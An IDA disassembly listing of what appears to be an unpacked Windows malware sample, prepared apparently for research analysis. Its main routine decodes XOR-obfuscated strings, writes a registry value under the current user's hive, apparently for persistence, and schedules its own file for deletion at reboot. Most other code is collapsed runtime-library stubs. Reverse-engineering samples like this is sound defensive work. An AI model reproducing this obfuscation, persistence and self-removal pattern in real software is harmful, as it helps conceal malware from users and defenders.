;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	C420F7504D741916EB12B9F494ED9ECF

; File Name   :	u:\work\c420f7504d741916eb12b9f494ed9ecf_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00004D64 (  19812.)
; Section size in file		: 00004D64 (  19812.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default
; OS type	  :  MS	Windows
; Application type:  Executable	32bit


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int	nShowCmd)

_WinMain@16	proc near		; CODE XREF: start+17Fp

var_23C		= byte ptr -23Ch
Dst		= byte ptr -138h
var_38		= byte ptr -38h
var_4		= dword	ptr -4
hInstance	= dword	ptr  8
hPrevInstance	= dword	ptr  0Ch
lpCmdLine	= dword	ptr  10h
nShowCmd	= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 23Ch
		push	ebx
		xor	ebx, ebx
		push	esi
		xor	eax, eax


loc_40100F:				; CODE XREF: WinMain(x,x,x,x)+23j
		mov	cl, byte_408050[eax]
		xor	cl, 0D3h
		mov	[ebp+eax+Dst], cl
		inc	eax
		cmp	eax, 29h
		jl	short loc_40100F
		mov	[ebp+eax+Dst], bl
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	80000001h
		call	ds:dword_406000	; RegCreateKeyA
		mov	esi, 0FFh
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		xor	eax, eax


loc_40105A:				; CODE XREF: WinMain(x,x,x,x)+6Ej
		mov	cl, byte_408030[eax]
		xor	cl, 0D3h
		mov	[ebp+eax+Dst], cl
		inc	eax
		cmp	eax, 1Ch
		jl	short loc_40105A
		mov	[ebp+eax+Dst], bl
		xor	eax, eax


loc_401079:				; CODE XREF: WinMain(x,x,x,x)+8Aj
		mov	cl, byte_40807C[eax]
		xor	cl, 0D3h
		mov	[ebp+eax+var_38], cl
		inc	eax
		cmp	eax, 0Ah
		jl	short loc_401079
		mov	[ebp+eax+var_38], bl
		lea	eax, [ebp+Dst]
		push	eax
		call	ds:dword_40600C	; lstrlen
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	1
		push	ebx
		lea	eax, [ebp+var_38]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_406004	; RegSetValueExA
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	32h		; Size
		lea	eax, [ebp+var_38]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		push	104h
		lea	eax, [ebp+var_23C]
		push	eax
		push	ebx
		call	ds:dword_406010	; GetModuleFileNameA
		push	4
		push	ebx
		lea	eax, [ebp+var_23C]
		push	eax
		call	ds:dword_406014	; MoveFileExA
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
_WinMain@16	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000060 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+"	TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD	"+" TO EXPAND]
		pop	ecx
		pop	ecx
		retn
; [00000024 BYTES: COLLAPSED FUNCTION _fast_error_exit.	PRESS KEYPAD "+" TO EXPAND]
; [000001D5 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
; [00000030 BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION __lockexit. PRESS	KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION __unlockexit. PRESS KEYPAD "+" TO	EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION __initterm. PRESS	KEYPAD "+" TO EXPAND]
; [0000006A BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+"	TO EXPAND]
; [000000AF BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+"	TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION sub_4014F1. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000006 BYTES: COLLAPSED CHUNK OF FUNCTION _doexit.	PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+"	TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __c_exit.	PRESS KEYPAD "+" TO EXPAND]
; [00000177 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO	EXPAND]
; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
; [00000164 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO	EXPAND]
; [0000005D BYTES: COLLAPSED FUNCTION __wincmdln. PRESS	KEYPAD "+" TO EXPAND]
; [000000C7 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
; [0000016C BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
; [000000A2 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
; [00000122 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO	EXPAND]
; [000001FE BYTES: COLLAPSED FUNCTION __ioinit.	PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401EAB	proc near		; CODE XREF: start:loc_401295p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_406560
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_4071BC


loc_401EBE:				; CODE XREF: sub_401EAB+3Cj
		cmp	[ebp+var_1C], offset dword_4071BC
		jnb	short loc_401EE9
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_401EDF
		call	eax
		jmp	short loc_401EDF
; ---------------------------------------------------------------------------


loc_401ED8:				; DATA XREF: .rdata:stru_406560o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_401EDC:				; DATA XREF: .rdata:stru_406560o
		mov	esp, [ebp+ms_exc.old_esp]


loc_401EDF:				; CODE XREF: sub_401EAB+27j
					; sub_401EAB+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_401EBE
; ---------------------------------------------------------------------------


loc_401EE9:				; CODE XREF: sub_401EAB+1Aj
		call	__SEH_epilog
		retn
sub_401EAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void sub_401EEF(void)

sub_401EEF	proc near		; DATA XREF: __cinit:loc_401413o

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_406570
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_4071C4


loc_401F02:				; CODE XREF: sub_401EEF+3Cj
		cmp	[ebp+var_1C], offset dword_4071C4
		jnb	short loc_401F2D
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_401F23
		call	eax
		jmp	short loc_401F23
; ---------------------------------------------------------------------------


loc_401F1C:				; DATA XREF: .rdata:stru_406570o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_401F20:				; DATA XREF: .rdata:stru_406570o
		mov	esp, [ebp+ms_exc.old_esp]


loc_401F23:				; CODE XREF: sub_401EEF+27j
					; sub_401EEF+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_401F02
; ---------------------------------------------------------------------------


loc_401F2D:				; CODE XREF: sub_401EEF+1Aj
		call	__SEH_epilog
		retn
sub_401EEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F33	proc near		; CODE XREF: __mtinit+94p
					; DATA XREF: __mtinit+80o ...
		call	ds:dword_406068	; TlsAlloc
		retn	4
sub_401F33	endp

; [0000001D BYTES: COLLAPSED FUNCTION __mtterm.	PRESS KEYPAD "+" TO EXPAND]
; [00000071 BYTES: COLLAPSED FUNCTION __getptd.	PRESS KEYPAD "+" TO EXPAND]
; [0000012D BYTES: COLLAPSED FUNCTION _freefls(x). PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4020F7	proc near		; DATA XREF: .rdata:stru_406580o
		xor	edi, edi
		mov	esi, [ebp+8]
sub_4020F7	endp ; sp-analysis failed

; [00000009 BYTES: COLLAPSED FUNCTION sub_4020FC. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_402105	proc near		; DATA XREF: .rdata:00406594o
		mov	esi, [ebp+8]
sub_402105	endp ; sp-analysis failed

; [00000009 BYTES: COLLAPSED FUNCTION sub_402108. PRESS	KEYPAD "+" TO EXPAND]
; [000000EF BYTES: COLLAPSED FUNCTION __mtinit.	PRESS KEYPAD "+" TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION ___heap_select. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO	EXPAND]
; ---------------------------------------------------------------------------
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh
; [000000E6 BYTES: COLLAPSED FUNCTION __except_handler3. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION _seh_longjmp_unwind(x). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003D BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
; [00000049 BYTES: COLLAPSED FUNCTION __mtinitlocks. PRESS KEYPAD "+" TO EXPAND]
; [00000055 BYTES: COLLAPSED FUNCTION __mtdeletelocks. PRESS KEYPAD "+"	TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION __unlock.	PRESS KEYPAD "+" TO EXPAND]
; [00000097 BYTES: COLLAPSED FUNCTION __mtinitlocknum. PRESS KEYPAD "+"	TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION sub_402557. PRESS	KEYPAD "+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION __lock. PRESS KEYPAD "+" TO EXPAND]
; [00000080 BYTES: COLLAPSED FUNCTION __onexit_lk. PRESS KEYPAD	"+" TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND]
; [00000032 BYTES: COLLAPSED FUNCTION __onexit.	PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION sub_40266B. PRESS	KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+"	TO EXPAND]
; [000000F9 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000E8 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000124 BYTES: COLLAPSED FUNCTION _strncpy.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000008B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+"	TO EXPAND]
; ---------------------------------------------------------------------------
; [0000001D BYTES: COLLAPSED CHUNK OF FUNCTION sub_402A6C. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_402A58	proc near		; DATA XREF: .rdata:stru_406668o
		xor	eax, eax
		inc	eax
		retn
sub_402A58	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A5C	proc near		; DATA XREF: .rdata:stru_406668o
		mov	esp, [ebp-18h]
sub_402A5C	endp ; sp-analysis failed

; [0000000D BYTES: COLLAPSED CHUNK OF FUNCTION sub_402A6C. PRESS KEYPAD	"+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION sub_402A6C. PRESS	KEYPAD "+" TO EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD	"+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS.	PRESS KEYPAD "+" TO EXPAND]
; [0000018C BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD	"+" TO EXPAND]
; [00000190 BYTES: COLLAPSED FUNCTION __setmbcp_lk. PRESS KEYPAD "+" TO	EXPAND]
; [00000147 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION sub_402F79. PRESS	KEYPAD "+" TO EXPAND]
; [0000001E BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+"	TO EXPAND]
; [00000053 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION sub_402FF3. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000015 BYTES: COLLAPSED CHUNK OF FUNCTION _free. PRESS KEYPAD "+" TO EXPAND]
; [0000006F BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO	EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_403080	proc near		; DATA XREF: .rdata:stru_406698o
		mov	esi, [ebp+8]
sub_403080	endp ; sp-analysis failed

; [00000009 BYTES: COLLAPSED FUNCTION sub_403083. PRESS	KEYPAD "+" TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD	"+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000033D BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+"	TO EXPAND]
; [00000010 BYTES: COLLAPSED FUNCTION __crtInitCritSecNoSpinCount(x,x).	PRESS KEYPAD "+" TO EXPAND]
; [0000008B BYTES: COLLAPSED FUNCTION ___crtInitCritSecAndSpinCount. PRESS KEYPAD "+" TO EXPAND]
; [000000A7 BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40354F	proc near		; DATA XREF: .rdata:stru_4066E0o
		mov	esi, [ebp+0Ch]
sub_40354F	endp ; sp-analysis failed

; [00000009 BYTES: COLLAPSED FUNCTION sub_403552. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000008 BYTES: COLLAPSED CHUNK OF FUNCTION _calloc.	PRESS KEYPAD "+" TO EXPAND]
; [000000D0 BYTES: COLLAPSED FUNCTION ___freetlocinfo. PRESS KEYPAD "+"	TO EXPAND]
; [000000C1 BYTES: COLLAPSED FUNCTION ___updatetlocinfo_lk. PRESS KEYPAD "+" TO	EXPAND]
; [00000032 BYTES: COLLAPSED FUNCTION ___updatetlocinfo. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION sub_403726. PRESS	KEYPAD "+" TO EXPAND]
; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init.	PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]
; [00000318 BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND]
; [000000B7 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+"	TO EXPAND]
; [00000106 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
; [000002DF BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD	"+" TO EXPAND]
; [000002FC BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2.	PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler.	PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+"	TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

__NLG_Notify1:
		push	ebx
		push	ecx
		mov	ebx, offset dword_4085A4
		jmp	short loc_404334
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO	EXPAND]
; [00000229 BYTES: COLLAPSED FUNCTION __ValidateEH3RN. PRESS KEYPAD "+"	TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION __errno. PRESS KEYPAD "+"	TO EXPAND]
; [00000160 BYTES: COLLAPSED FUNCTION _realloc.	PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4046D4	proc near		; DATA XREF: .rdata:stru_406880o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]
sub_4046D4	endp ; sp-analysis failed

; [00000009 BYTES: COLLAPSED FUNCTION sub_4046DC. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [0000003C BYTES: COLLAPSED CHUNK OF FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND]
; [0000006A BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40478B	proc near		; DATA XREF: .rdata:stru_406890o
		mov	esi, [ebp-1Ch]
sub_40478B	endp ; sp-analysis failed

; [00000009 BYTES: COLLAPSED FUNCTION sub_40478E. PRESS	KEYPAD "+" TO EXPAND]
; [00000066 BYTES: COLLAPSED FUNCTION ___security_init_cookie. PRESS KEYPAD "+"	TO EXPAND]
; [00000147 BYTES: COLLAPSED FUNCTION ___security_error_handler. PRESS KEYPAD "+" TO EXPAND]
		db 0CCh
; [000003BC BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS	KEYPAD "+" TO EXPAND]
; [000001BA BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO	EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS	KEYPAD "+" TO EXPAND]
; [00000190 BYTES: COLLAPSED FUNCTION __free_lc_time. PRESS KEYPAD "+" TO EXPAND]
; [0000005F BYTES: COLLAPSED FUNCTION ___free_lconv_num. PRESS KEYPAD "+" TO EXPAND]
; [000000D9 BYTES: COLLAPSED FUNCTION ___free_lconv_mon. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000046 BYTES: COLLAPSED FUNCTION _strcspn.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000088 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000B8 BYTES: COLLAPSED FUNCTION _memcmp. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000039 BYTES: COLLAPSED FUNCTION _strncmp.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000040 BYTES: COLLAPSED FUNCTION _strpbrk.	PRESS KEYPAD "+" TO EXPAND]
; [0000033D BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION ___ansicp. PRESS KEYPAD "+" TO EXPAND]
; [000001C9 BYTES: COLLAPSED FUNCTION ___convertcp. PRESS KEYPAD "+" TO	EXPAND]
; [000000E3 BYTES: COLLAPSED FUNCTION __resetstkoflw. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000004E BYTES: COLLAPSED FUNCTION ___ascii_stricmp.	PRESS KEYPAD "+" TO EXPAND]
; [00000088 BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND]
; [00000077 BYTES: COLLAPSED FUNCTION ___isctype_mt. PRESS KEYPAD "+" TO EXPAND]
		align 10h

__allmul:
		mov	eax, [esp+8]
		mov	ecx, [esp+10h]
		or	ecx, eax
		mov	ecx, [esp+0Ch]
		jnz	short loc_405B59
		mov	eax, [esp+4]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_405B59:				; CODE XREF: .text:00405B4Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+8]
		mul	dword ptr [esp+14h]
		add	ebx, eax
		mov	eax, [esp+8]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------
		align 10h
; [00000061 BYTES: COLLAPSED FUNCTION ___ascii_strnicmp. PRESS KEYPAD "+" TO EXPAND]
		align 10h

__aulldvrm:
		push	esi
		mov	eax, [esp+14h]
		or	eax, eax
		jnz	short loc_405C21
		mov	ecx, [esp+10h]
		mov	eax, [esp+0Ch]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8]
		div	ecx
		mov	esi, eax
		mov	eax, ebx
		mul	dword ptr [esp+10h]
		mov	ecx, eax
		mov	eax, esi
		mul	dword ptr [esp+10h]
		add	edx, ecx
		jmp	short loc_405C68
; ---------------------------------------------------------------------------


loc_405C21:				; CODE XREF: .text:00405BF7j
		mov	ecx, eax
		mov	ebx, [esp+10h]
		mov	edx, [esp+0Ch]
		mov	eax, [esp+8]


loc_405C2F:				; CODE XREF: .text:00405C39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_405C2F
		div	ebx
		mov	esi, eax
		mul	dword ptr [esp+14h]
		mov	ecx, eax
		mov	eax, [esp+10h]
		mul	esi
		add	edx, ecx
		jb	short loc_405C5D
		cmp	edx, [esp+0Ch]
		ja	short loc_405C5D
		jb	short loc_405C66
		cmp	eax, [esp+8]
		jbe	short loc_405C66


loc_405C5D:				; CODE XREF: .text:00405C4Dj
					; .text:00405C53j
		dec	esi
		sub	eax, [esp+10h]
		sbb	edx, [esp+14h]


loc_405C66:				; CODE XREF: .text:00405C55j
					; .text:00405C5Bj
		xor	ebx, ebx


loc_405C68:				; CODE XREF: .text:00405C1Fj
		sub	eax, [esp+8]
		sbb	edx, [esp+0Ch]
		neg	edx
		neg	eax
		sbb	edx, 0
		mov	ecx, edx
		mov	edx, ebx
		mov	ebx, ecx
		mov	ecx, eax
		mov	eax, esi
		pop	esi
		retn	10h
; ---------------------------------------------------------------------------
		align 10h
; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000BE BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_405D5E	proc near		; CODE XREF: __global_unwind2+13p
		jmp	ds:dword_4060B8
sub_405D5E	endp

_text		ends

; Section 2. (virtual address 00006000)
; Virtual size			: 00001756 (   5974.)
; Section size in file		: 00001756 (   5974.)
; Offset to raw	data for section: 00006000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 406000h
dword_406000	dd 77DD72F0h		; DATA XREF: WinMain(x,x,x,x)+3Cr
dword_406004	dd 77DD59F0h		; DATA XREF: WinMain(x,x,x,x)+AFr
		dd 0
dword_40600C	dd 77E74672h		; DATA XREF: WinMain(x,x,x,x)+97r
dword_406010	dd 77E7A099h		; DATA XREF: WinMain(x,x,x,x)+DFr
					; __NMSG_WRITE+81r ...
dword_406014	dd 77E645E4h		; DATA XREF: WinMain(x,x,x,x)+EFr
dword_406018	dd 77E79F93h		; DATA XREF: start+6Dr
					; unknown_libname_1+5r	...
dword_40601C	dd 77E6177Ah		; DATA XREF: start+159r __ioinit+5Dr
dword_406020	dd 77E7C938h		; DATA XREF: start:loc_4012AEr
dword_406024	dd 77E7C657h		; DATA XREF: start+20r
dword_406028	dd 77E75CB5h		; DATA XREF: unknown_libname_1+29r
					; sub_402A6C-7r
dword_40602C	dd 77E7A5FDh		; DATA XREF: unknown_libname_1+15r
					; __mtinit+24r	...
dword_406030	dd 77E616B4h		; DATA XREF: _doexit+2Er
dword_406034	dd 77E79C90h		; DATA XREF: _doexit+27r
dword_406038	dd 77E79D8Ch		; DATA XREF: __NMSG_WRITE+155r
dword_40603C	dd 77E79C3Dh		; DATA XREF: __NMSG_WRITE+14Er
					; __ioinit+188r
dword_406040	dd 77EB9A84h		; DATA XREF: __XcptFilter+159r
dword_406044	dd 77E9C5B1h		; DATA XREF: ___crtGetEnvironmentStringsA+113r
dword_406048	dd 77E67702h		; DATA XREF: ___crtGetEnvironmentStringsA:loc_401C62r
dword_40604C	dd 77E7C9E1h		; DATA XREF: ___crtGetEnvironmentStringsA+C1r
dword_406050	dd 77E79924h		; DATA XREF: ___crtGetEnvironmentStringsA:loc_401BFAr
					; ___crtLCMapStringA+22Dr ...
dword_406054	dd 77F5157Dh		; DATA XREF: ___crtGetEnvironmentStringsA:loc_401BBBr
					; __getptd+2r ...
dword_406058	dd 77E77EE1h		; DATA XREF: ___crtGetEnvironmentStringsA+Br
dword_40605C	dd 77E7C931h		; DATA XREF: __ioinit+1EEr
dword_406060	dd 77E78406h		; DATA XREF: __ioinit+107r
					; __ioinit+196r
dword_406064	dd 77F53275h		; DATA XREF: __mtdeletelocks+1r
dword_406068	dd 77E7C5B4h		; DATA XREF: sub_401F33r
dword_40606C	dd 77F51587h		; DATA XREF: __getptd+66r
					; ___crtInitCritSecAndSpinCount+79r
dword_406070	dd 77E77CC4h		; DATA XREF: __getptd+4Fr __mtinit+D5r ...
dword_406074	dd 77E72B29h		; DATA XREF: __mtinit+7Br
dword_406078	dd 77E79B39h		; DATA XREF: __mtinit+71r
dword_40607C	dd 77E78B61h		; DATA XREF: __mtinit+67r
dword_406080	dd 77E76E0Bh		; DATA XREF: __heap_init+44r
dword_406084	dd 77E7C726h		; DATA XREF: __heap_init+11r
dword_406088	dd 77E79E34h		; DATA XREF: ___sbh_free_block+22Fr
dword_40608C	dd 77F51597h		; DATA XREF: _free+65r
					; ___sbh_free_block+2B4r ...
dword_406090	dd 77F7E300h		; DATA XREF: __unlock+Dr
dword_406094	dd 77F7E21Fh		; DATA XREF: __lock+28r
dword_406098	dd 77E805D8h		; DATA XREF: ___crtMessageBoxA+18r
dword_40609C	dd 77E7A13Fh		; DATA XREF: __setmbcp+4Cr
dword_4060A0	dd 77E6C703h		; DATA XREF: __setmbcp+35r
dword_4060A4	dd 77E7849Fh		; DATA XREF: _setSBUpLow+1Cr
					; __setmbcp_lk+3Ar ...
dword_4060A8	dd 77F516F8h		; DATA XREF: __heap_alloc+63r
					; _calloc+82r ...
dword_4060AC	dd 77E79908h		; DATA XREF: __crtInitCritSecNoSpinCount(x,x)+4r
dword_4060B0	dd 77E7980Ah		; DATA XREF: ___sbh_alloc_new_region+7Er
					; ___sbh_alloc_new_group+52r ...
dword_4060B4	dd 77F5722Fh		; DATA XREF: ___sbh_alloc_new_region+27r
					; _realloc+137r ...
dword_4060B8	dd 77F6183Eh		; DATA XREF: sub_405D5Er
dword_4060BC	dd 77E775F1h		; DATA XREF: __ValidateEH3RN+131r
					; __ValidateEH3RN+196r	...
dword_4060C0	dd 77E7F044h		; DATA XREF: __ValidateEH3RN+B3r
					; __resetstkoflw+1Ar ...
